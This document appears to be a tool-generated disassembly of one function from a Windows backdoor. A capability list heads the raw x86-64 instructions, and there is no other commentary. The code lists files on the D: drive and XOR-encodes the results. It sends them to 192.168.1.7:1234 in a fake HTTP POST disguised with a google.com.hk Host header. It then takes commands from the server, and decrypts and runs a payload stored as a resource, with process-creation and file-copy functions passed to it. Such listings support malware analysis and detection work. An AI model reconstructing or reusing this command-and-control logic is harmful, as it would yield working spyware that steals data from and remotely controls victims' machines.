Function at 0x140002160
Capabilities:
Connect socket
Convert ip address from string
Encode data using xor
Enumerate files on windows
Extract resource via kernel32 functions
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4c0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x14002b040]
xor rax, rsp
mov qword [rbp + 0x370], rax
xor ecx, ecx
call fcn.14000d314
mov rcx, rax
call fcn.14000c554
mov eax, dword [str.7326]
mov dword [rbp + 0x1e0], eax
movzx eax, byte [0x140027778]
mov byte [rbp + 0x1e4], al
call fcn.14000c528
mov r9d, eax
mov eax, 0x6b5fca6b
imul r9d
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x989680
sub r9d, eax
lea r8, [0x1400276c4]
mov edx, 0xa
lea rcx, [rbp + 0x1e8]
call fcn.140001010
mov byte [rbp + 0x220], 0
xor edx, edx
mov r8d, 0xc7
lea rcx, [rbp + 0x221]
call fcn.14001dc40
movsd xmm0, qword [str.192.168.1.7]
movsd qword [rbp + 0x210], xmm0
mov eax, dword [0x140027788]
mov dword [rbp + 0x218], eax
movaps xmm0, xmmword [str.POST___HTTP_1.1_r_nHost:_www.google.com.hk_r_nContent_Type:_application_octet_stream_r_nConnection:_close_r_nContent_Length:]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm1, xmmword [0x1400277a0]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm0, xmmword [0x1400277b0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm1, xmmword [0x1400277c0]
movaps xmmword [rbp + 0x320], xmm1
movaps xmm0, xmmword [0x1400277d0]
movaps xmmword [rbp + 0x330], xmm0
movaps xmm1, xmmword [0x1400277e0]
movaps xmmword [rbp + 0x340], xmm1
movaps xmm0, xmmword [0x1400277f0]
movaps xmmword [rbp + 0x350], xmm0
mov eax, dword [0x140027800]
mov dword [rbp + 0x360], eax
movzx eax, word [0x140027804]
mov word [rbp + 0x364], ax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x18], xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea ecx, [rax + 0x10]
call fcn.140003240
mov qword [rax + 8], 0
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x28]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
lea ecx, [rax + 0x10]
call fcn.140003240
mov qword [rax + 8], 0
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x50]
mov qword [rax], rcx
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov ecx, 0x30
call fcn.140003240
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp], rax
mov ecx, 0x400
call fcn.14000b950
mov r15, rax
mov qword [rsp + 0x68], rax
mov byte [rax], 0
mov edi, 0xffffffff
mov dword [rsp + 0x50], edi
xor r12d, r12d
movsd xmm7, qword [0x140027828]
movsd xmm6, qword [0x140027810]
movsd xmm8, qword [0x140027818]
movsd xmm9, qword [0x140027820]
mov r13d, dword [rsp + 0x54]
movabs r14, 0x6e776f6e6b6e55
mov esi, 2
call fcn.14000c528
movd xmm0, eax
cvtdq2pd xmm0, xmm0
divsd xmm0, xmm7
mulsd xmm0, xmm6
addsd xmm0, xmm0
subsd xmm0, xmm6
addsd xmm0, xmm8
mulsd xmm0, xmm9
cvttsd2si rcx, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, 0xffffffff
jne 0x1400026aa
mov ecx, 0x3e8
call fcn.14000b950
mov rdi, rax
mov word [rax], 0x30
mov byte [rax + 2], 0
mov dword [rbp + 0x1d0], 0x2a5c3a44
mov byte [rbp + 0x1d4], 0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000245f
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x20], rax
lea r9, [rdi + 2]
lea r8, str._s__s
mov edx, 0x3e8
lea rcx, [rdi + 2]
call fcn.140001010
lea rdx, [rbp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140002423
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rdi + rcx + 2], 0
jne 0x140002466
add ecx, 2
lea eax, [rcx - 1]
movsxd r8, eax
test eax, eax
jle 0x1400024a2
movsxd r9, ecx
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rdi - 1]
xor byte [rdx], al
lea rdx, [rdx + 1]
sub r8, 1
jne 0x140002490
mov dword [rbp - 0x74], 0
mov qword [rbp - 0x80], rdi
mov dword [rbp - 0x78], ecx
mov rcx, qword [rbp - 0x30]
lea rax, [rcx + 1]
mov rbx, qword [rbp - 0x40]
cmp rbx, rax
ja 0x1400024d2
lea rcx, [rbp - 0x50]
call fcn.140001f60
mov rcx, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x40]
dec rbx
mov rax, qword [rbp - 0x38]
and rax, rbx
mov qword [rbp - 0x38], rax
add rax, rcx
and rbx, rax
mov rax, qword [rbp - 0x48]
cmp qword [rax + rbx*8], 0
jne 0x140002507
mov ecx, reloc.WS2_32.dll_recv
call fcn.140003240
mov rcx, qword [rbp - 0x48]
mov qword [rcx + rbx*8], rax
mov rax, qword [rbp - 0x48]
mov rax, qword [rax + rbx*8]
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rax], xmm0
inc qword [rbp - 0x30]
cmp byte [rbp + 0x220], 0
jne 0x1400025f8
mov qword [rbp + 0x1f8], r14
xor eax, eax
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x208], eax
mov word [rbp + 0x20c], ax
lea rcx, [rbp + 0x1f8]
call fcn.140001070
mov dword [rsp + 0x40], 8
mov dword [rsp + 0x38], 0x78
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.0_c_s__s__s__d__d_1
lea edx, [r9 + 0x64]
lea rcx, [rbp + 0x220]
call fcn.140001010
lea rcx, [rbp + 0x222]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rax + 1]
cmp byte [rcx + rax], 0
jne 0x1400025b0
lea r13d, [rax + 2]
mov dword [rsp + 0x54], r13d
lea eax, [r13 - 1]
xor ecx, ecx
movsxd rdx, eax
test eax, eax
jle 0x1400025f8
movsxd r8, r13d
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + r8 + 0x21f]
xor byte [rbp + rcx + 0x220], al
inc rcx
cmp rcx, rdx
jl 0x1400025e0
mov esi, 2
mov byte [rbp + 0x1d8], 0
xor eax, eax
mov dword [rbp + 0x1d9], eax
call fcn.14000c528
mov r9d, eax
mov eax, 0x66666667
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub r9d, eax
lea r8, [0x1400276c4]
mov edx, 5
lea rcx, [rbp + 0x1d8]
call fcn.140001010
lea eax, [r13 - 1]
xor ecx, ecx
movsxd rdx, eax
test eax, eax
jle 0x1400026e0
movsxd r8, r13d
nop word [rax + rax]
movzx eax, byte [rbp + r8 + 0x21f]
xor byte [rbp + rcx + 0x220], al
inc rcx
cmp rcx, rdx
jl 0x140002660
movsxd r8, r13d
movzx eax, byte [rbp + 0x1d8]
mov byte [rbp + r8 + 0x21f], al
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbp + r8 + 0x21f]
xor byte [rbp + rcx + 0x220], al
inc rcx
cmp rcx, rdx
jl 0x140002690
jmp 0x1400026f1
cmp byte [rbp + 0x220], 0
jne 0x1400025fd
lea r9, [rsp + 0x54]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x1e0]
call fcn.140001170
mov r13d, dword [rsp + 0x54]
jmp 0x1400025fd
movsxd rcx, r13d
movzx eax, byte [rbp + 0x1d8]
mov byte [rbp + rcx + 0x21f], al
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0x220]
lea r8, [rbp + 0x2f0]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.140001a00
mov ecx, 0x202
lea rdx, [rbp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400027d1
xor r8d, r8d
lea edx, [rax + 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400027cb
mov word [rbp + 0x18], si
mov ecx, 0x4d2
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1a], ax
lea r8, [rbp + 0x1c]
lea rdx, [rbp + 0x210]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x1400027c2
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x18]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1400027c2
xor r9d, r9d
mov r8d, dword [rsp + 0x58]
mov rdi, qword [rsp + 0x78]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400027c2
mov rcx, rdi
call fcn.14000c514
lea rdx, [rbp - 0x28]
mov rcx, rbx
call fcn.140001d50
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
cmp qword [rbp - 8], 0
mov edi, dword [rsp + 0x50]
je 0x1400023a7
mov rcx, qword [rbp - 0x18]
dec rcx
and rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax + rcx*8]
movsxd r8, dword [rcx + 8]
mov rdx, qword [rcx]
lea eax, [r8 - 1]
movsxd rcx, eax
test eax, eax
jle 0x140002821
add r8, rdx
nop dword [rax + rax]
movzx eax, byte [r8 - 1]
xor byte [rdx], al
lea rdx, [rdx + 1]
sub rcx, 1
jne 0x140002810
mov rcx, qword [rbp - 0x18]
dec rcx
and rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax + rcx*8]
mov rsi, qword [rcx]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rsi + rax], 0
jne 0x140002840
lea r14, [rsi + 1]
add r14, rax
cmp byte [rsi], 0x30
jne 0x1400028ab
movsx ecx, byte [r14]
sub ecx, 0x30
je 0x140002c5c
cmp ecx, 1
jne 0x140002c20
xor edi, edi
mov dword [rsp + 0x50], edi
lea rcx, [r14 + 1]
call fcn.14000c040
mov dword [rsp + 0x5c], eax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [r14 + rcx + 1], dil
jne 0x140002885
add rcx, 2
add rcx, r14
call fcn.14000c040
mov dword [rsp + 0x60], eax
mov byte [rbp + 0x220], dil
jmp 0x140002c24
test r12, r12
jne 0x14000294e
lea r8, [0x140027808]
lea edx, [r12 + 0x65]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
lea r9d, [r12 + 4]
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test edi, edi
je 0x140002933
mov rcx, rax
sub rbx, rax
mov r8d, edi
movzx r9d, byte [rsp + 0x5c]
xor r9b, byte [rsp + 0x60]
nop word [rax + rax]
movzx eax, r9b
xor al, byte [rbx + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140002920
lea r9, [rbp + 0x10]
mov r8d, 0x20
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r15, qword [rsp + 0x68]
mov rcx, r14
call fcn.14000c040
movsxd rdi, eax
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [r14 + rcx], 0
jne 0x140002960
lea rbx, [r14 + 1]
add rbx, rcx
mov r9, r15
lea r8, [rbp]
mov edx, edi
mov rcx, rbx
call fcn.140001550
mov r14, rax
lea rdx, [rdi + 1]
add rdx, rbx
mov rcx, 0xffffffffffffffff
lea rcx, [rcx + 1]
cmp byte [rdx + rcx], 0
jne 0x140002993
lea rbx, [rcx + rdx]
lea rax, [fcn.14000b950]
mov qword [rbp + 0x30], rax
lea rax, [fcn.14000c50c]
mov qword [rbp + 0x38], rax
lea rax, [fcn.14000c514]
mov qword [rbp + 0x40], rax
lea rax, [0x14000cff0]
mov qword [rbp + 0x48], rax
lea rax, [0x14000d1ac]
mov qword [rbp + 0x50], rax
lea rax, [fcn.14000cb60]
mov qword [rbp + 0x58], rax
lea rax, [fcn.140001010]
mov qword [rbp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x68], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rbp + 0x70], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
mov qword [rbp + 0x78], rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rbp + 0x80], rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp + 0x88], rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
mov qword [rbp + 0x90], rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rbp + 0x98], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov qword [rbp + 0xa0], rax
mov rax, qword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov qword [rbp + 0xa8], rax
mov rax, qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov qword [rbp + 0xb0], rax
lea rax, [0x14000d260]
mov qword [rbp + 0xb8], rax
lea rax, [0x14000d154]
mov qword [rbp + 0xc0], rax
lea rax, [0x14000d920]
mov qword [rbp + 0xc8], rax
lea rax, [0x14000d5e8]
mov qword [rbp + 0xd0], rax
lea rax, [0x14000cf30]
mov qword [rbp + 0xd8], rax
lea rax, [fcn.14000c690]
mov qword [rbp + 0xe0], rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
mov qword [rbp + 0xe8], rax
lea rax, [0x14000ca24]
mov qword [rbp + 0xf0], rax
lea rax, [0x14000c940]
mov qword [rbp + 0xf8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov qword [rbp + 0x100], rax
mov rcx, rdx
call fcn.14000c040
mov r8d, eax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x58]
lea rdx, [rbx + 1]
mov rcx, r14
call r12
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rsi + rcx], 0
jne 0x140002b30
add ecx, dword [rbp - 0x60]
lea r15d, [rcx + 1]
movsxd r14, ecx
lea rcx, [r14 + 1]
call fcn.14000b950
mov rbx, rax
mov ecx, r15d
sub ecx, dword [rbp - 0x60]
movsxd r8, ecx
mov rdx, rsi
mov rcx, rax
call fcn.14001e000
movsxd r8, dword [rbp - 0x60]
lea rcx, [r14 + 1]
sub rcx, r8
add rcx, rbx
mov rdx, qword [rbp - 0x58]
call fcn.14001e000
mov rcx, qword [rbp - 0x58]
call fcn.14000c514
test r14, r14
jle 0x140002ba5
mov rcx, rbx
nop dword [rax + rax]
movzx eax, byte [r14 + rbx]
xor byte [rcx], al
inc rcx
mov rax, rcx
sub rax, rbx
cmp rax, r14
jl 0x140002b90
mov dword [rbp - 0x64], 0
mov qword [rbp - 0x70], rbx
mov dword [rbp - 0x68], r15d
mov rdx, qword [rbp - 0x30]
lea rax, [rdx + 1]
mov rcx, qword [rbp - 0x40]
cmp rcx, rax
ja 0x140002bd6
lea rcx, [rbp - 0x50]
call fcn.140001f60
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x40]
dec rcx
mov rax, qword [rbp - 0x38]
and rax, rcx
mov qword [rbp - 0x38], rax
lea rbx, [rax + rdx]
and rbx, rcx
mov rax, qword [rbp - 0x48]
cmp qword [rax + rbx*8], 0
jne 0x140002c0c
mov ecx, reloc.WS2_32.dll_recv
call fcn.140003240
mov rcx, qword [rbp - 0x48]
mov qword [rcx + rbx*8], rax
mov rax, qword [rbp - 0x48]
mov rax, qword [rax + rbx*8]
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rax], xmm0
inc qword [rbp - 0x30]
mov r15, qword [rsp + 0x68]
mov edi, dword [rsp + 0x50]
mov rcx, qword [rbp - 0x18]
dec rcx
and rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax + rcx*8]
mov rcx, qword [rcx]
call fcn.14000c514
sub qword [rbp - 8], 1
je 0x140002c4f
inc qword [rbp - 0x10]
jmp 0x1400027e0
mov qword [rbp - 0x10], 0
jmp 0x140002398
mov rcx, qword [rbp]
mov rbx, qword [rcx + 8]
cmp byte [rbx + 0x19], 0
jne 0x140002c9b
nop word [rax + rax]
mov r8, qword [rbx + 0x10]
lea rdx, [rbp]
lea rcx, [rbp]
call fcn.140002e40
mov rcx, rbx
mov rbx, qword [rbx]
mov edx, 0x30
call fcn.14000327c
cmp byte [rbx + 0x19], 0
je 0x140002c70
mov rcx, qword [rbp]
mov edx, 0x30
call fcn.14000327c
nop
lea rcx, [rbp - 0x50]
call fcn.140002d70
nop
lea rcx, [rbp - 0x28]
call fcn.140002d70
xor eax, eax
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140003220
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret